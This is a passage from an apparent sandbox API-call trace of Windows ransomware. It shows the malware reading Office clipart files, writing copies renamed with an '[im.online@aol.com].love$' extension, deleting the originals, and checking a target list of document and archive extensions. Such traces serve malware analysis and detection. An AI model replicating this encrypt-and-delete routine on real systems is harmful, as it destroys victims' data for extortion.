Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0227.191] lstrlenW (lpString=".1cd") returned 4 [0227.191] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0227.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0227.191] lstrlenW (lpString=".jpg") returned 4 [0227.191] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0227.191] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0227.191] lstrlenW (lpString="AN02122_.WMF") returned 12 [0227.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0227.193] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=7540) returned 1 [0227.193] CloseHandle (hObject=0x388) returned 1 [0227.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf")) returned 0x220 [0227.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0227.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0227.194] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.194] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0227.195] GetLastError () returned 0x0 [0227.195] ReadFile (in: hFile=0x388, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x1d74, lpOverlapped=0x0) returned 1 [0227.222] WriteFile (in: hFile=0x418, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x1d80, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x1d80, lpOverlapped=0x0) returned 1 [0227.265] ReadFile (in: hFile=0x388, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0227.265] WriteFile (in: hFile=0x418, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0227.265] SetEndOfFile (hFile=0x418) returned 1 [0227.276] CloseHandle (hObject=0x418) returned 1 [0227.282] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.282] SetEndOfFile (hFile=0x388) returned 1 [0227.311] CloseHandle (hObject=0x388) returned 1 [0227.314] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0227.723] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf")) returned 1 [0227.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0227.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0227.724] lstrlenW (lpString=".doc") returned 4 [0227.724] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0227.724] lstrlenW (lpString=".docx") returned 5 [0227.724] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0227.724] lstrlenW (lpString=".pdf") returned 4 [0227.724] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0227.724] lstrlenW (lpString=".xls") returned 4 [0227.724] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0227.724] lstrlenW (lpString=".xlsx") returned 5 [0227.724] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0227.724] lstrlenW (lpString=".ppt") returned 4 [0227.724] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0227.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0227.724] lstrlenW (lpString=".zip") returned 4 [0227.724] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0227.724] lstrlenW (lpString=".rar") returned 4 [0227.724] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0227.724] lstrlenW (lpString=".bz2") returned 4 [0227.724] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0227.724] lstrlenW (lpString=".7z") returned 3 [0227.725] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0227.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0227.725] lstrlenW (lpString=".dbf") returned 4 [0227.725] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0227.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0227.725] lstrlenW (lpString=".1cd") returned 4 [0227.725] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0227.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0227.725] lstrlenW (lpString=".jpg") returned 4 [0227.725] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0227.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0227.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0227.725] lstrlenW (lpString=".doc") returned 4 [0227.725] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0227.725] lstrlenW (lpString=".docx") returned 5 [0227.725] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0227.725] lstrlenW (lpString=".pdf") returned 4 [0227.725] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0227.725] lstrlenW (lpString=".xls") returned 4 [0227.725] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0227.725] lstrlenW (lpString=".xlsx") returned 5 [0227.725] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0227.725] lstrlenW (lpString=".ppt") returned 4 [0227.725] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0227.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0227.725] lstrlenW (lpString=".zip") returned 4 [0227.726] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0227.726] lstrlenW (lpString=".rar") returned 4 [0227.726] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0227.726] lstrlenW (lpString=".bz2") returned 4 [0227.726] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0227.726] lstrlenW (lpString=".7z") returned 3 [0227.726] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0227.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0227.726] lstrlenW (lpString=".dbf") returned 4 [0227.726] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0227.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0227.726] lstrlenW (lpString=".1cd") returned 4 [0227.726] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0227.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0227.726] lstrlenW (lpString=".jpg") returned 4 [0227.726] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0227.726] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0227.726] lstrlenW (lpString="AN04117_.WMF") returned 12 [0227.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0227.727] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=6060) returned 1 [0227.727] CloseHandle (hObject=0x458) returned 1 [0227.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf")) returned 0x220 [0227.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0227.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0227.728] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.728] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0227.729] GetLastError () returned 0x0 [0227.729] ReadFile (in: hFile=0x458, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x17ac, lpOverlapped=0x0) returned 1 [0227.737] WriteFile (in: hFile=0x42c, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x17b0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x17b0, lpOverlapped=0x0) returned 1 [0227.739] ReadFile (in: hFile=0x458, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0227.739] WriteFile (in: hFile=0x42c, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0227.739] SetEndOfFile (hFile=0x42c) returned 1 [0227.740] CloseHandle (hObject=0x42c) returned 1 [0227.744] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.744] SetEndOfFile (hFile=0x458) returned 1 [0227.751] CloseHandle (hObject=0x458) returned 1 [0227.751] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0227.752] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf")) returned 1 [0227.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0227.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0227.752] lstrlenW (lpString=".doc") returned 4 [0227.752] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0227.752] lstrlenW (lpString=".docx") returned 5 [0227.752] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0227.753] lstrlenW (lpString=".pdf") returned 4 [0227.753] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0227.753] lstrlenW (lpString=".xls") returned 4 [0227.753] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0227.753] lstrlenW (lpString=".xlsx") returned 5 [0227.753] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0227.753] lstrlenW (lpString=".ppt") returned 4 [0227.753] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0227.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0227.753] lstrlenW (lpString=".zip") returned 4 [0227.753] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0227.753] lstrlenW (lpString=".rar") returned 4 [0227.753] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0227.753] lstrlenW (lpString=".bz2") returned 4 [0227.753] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0227.753] lstrlenW (lpString=".7z") returned 3 [0227.753] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0227.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0227.753] lstrlenW (lpString=".dbf") returned 4 [0227.753] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0227.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0227.753] lstrlenW (lpString=".1cd") returned 4 [0227.753] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0227.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0227.753] lstrlenW (lpString=".jpg") returned 4 [0227.753] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0227.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0227.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0227.754] lstrlenW (lpString=".doc") returned 4 [0227.754] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0227.754] lstrlenW (lpString=".docx") returned 5 [0227.754] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0227.754] lstrlenW (lpString=".pdf") returned 4 [0227.754] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0227.754] lstrlenW (lpString=".xls") returned 4 [0227.754] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0227.754] lstrlenW (lpString=".xlsx") returned 5 [0227.754] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0227.754] lstrlenW (lpString=".ppt") returned 4 [0227.754] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0227.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0227.754] lstrlenW (lpString=".zip") returned 4 [0227.754] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0227.754] lstrlenW (lpString=".rar") returned 4 [0227.754] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0227.754] lstrlenW (lpString=".bz2") returned 4 [0227.754] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0227.754] lstrlenW (lpString=".7z") returned 3 [0227.754] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0227.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0227.754] lstrlenW (lpString=".dbf") returned 4 [0227.754] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0227.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0227.755] lstrlenW (lpString=".1cd") returned 4 [0227.755] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0227.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0227.755] lstrlenW (lpString=".jpg") returned 4 [0227.755] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0227.755] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0227.755] lstrlenW (lpString="AN04134_.WMF") returned 12 [0227.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0227.756] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=3416) returned 1 [0227.756] CloseHandle (hObject=0x458) returned 1 [0227.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf")) returned 0x220 [0227.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0227.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0227.757] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.757] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0227.758] GetLastError () returned 0x0 [0227.758] ReadFile (in: hFile=0x458, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0xd58, lpOverlapped=0x0) returned 1 [0228.049] WriteFile (in: hFile=0x42c, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xd60, lpOverlapped=0x0) returned 1 [0228.051] ReadFile (in: hFile=0x458, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0228.051] WriteFile (in: hFile=0x42c, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0228.051] SetEndOfFile (hFile=0x42c) returned 1 [0228.051] CloseHandle (hObject=0x42c) returned 1 [0228.053] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.053] SetEndOfFile (hFile=0x458) returned 1 [0228.056] CloseHandle (hObject=0x458) returned 1 [0228.056] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0228.313] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf")) returned 1 [0228.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0228.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0228.314] lstrlenW (lpString=".doc") returned 4 [0228.314] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0228.314] lstrlenW (lpString=".docx") returned 5 [0228.314] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0228.314] lstrlenW (lpString=".pdf") returned 4 [0228.314] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0228.314] lstrlenW (lpString=".xls") returned 4 [0228.314] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0228.314] lstrlenW (lpString=".xlsx") returned 5 [0228.314] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0228.314] lstrlenW (lpString=".ppt") returned 4 [0228.314] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0228.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0228.314] lstrlenW (lpString=".zip") returned 4 [0228.314] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0228.314] lstrlenW (lpString=".rar") returned 4 [0228.314] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0228.314] lstrlenW (lpString=".bz2") returned 4 [0228.314] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0228.314] lstrlenW (lpString=".7z") returned 3 [0228.314] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0228.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0228.315] lstrlenW (lpString=".dbf") returned 4 [0228.315] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0228.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0228.315] lstrlenW (lpString=".1cd") returned 4 [0228.315] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0228.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0228.315] lstrlenW (lpString=".jpg") returned 4 [0228.315] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0228.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0228.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0228.315] lstrlenW (lpString=".doc") returned 4 [0228.315] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0228.315] lstrlenW (lpString=".docx") returned 5 [0228.315] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0228.315] lstrlenW (lpString=".pdf") returned 4 [0228.315] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0228.315] lstrlenW (lpString=".xls") returned 4 [0228.315] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0228.315] lstrlenW (lpString=".xlsx") returned 5 [0228.315] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0228.315] lstrlenW (lpString=".ppt") returned 4 [0228.315] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0228.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0228.315] lstrlenW (lpString=".zip") returned 4 [0228.315] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0228.315] lstrlenW (lpString=".rar") returned 4 [0228.315] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0228.315] lstrlenW (lpString=".bz2") returned 4 [0228.315] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0228.315] lstrlenW (lpString=".7z") returned 3 [0228.315] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0228.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0228.316] lstrlenW (lpString=".dbf") returned 4 [0228.316] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0228.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0228.316] lstrlenW (lpString=".1cd") returned 4 [0228.316] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0228.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0228.316] lstrlenW (lpString=".jpg") returned 4 [0228.316] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0228.316] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0228.316] lstrlenW (lpString="AN04267_.WMF") returned 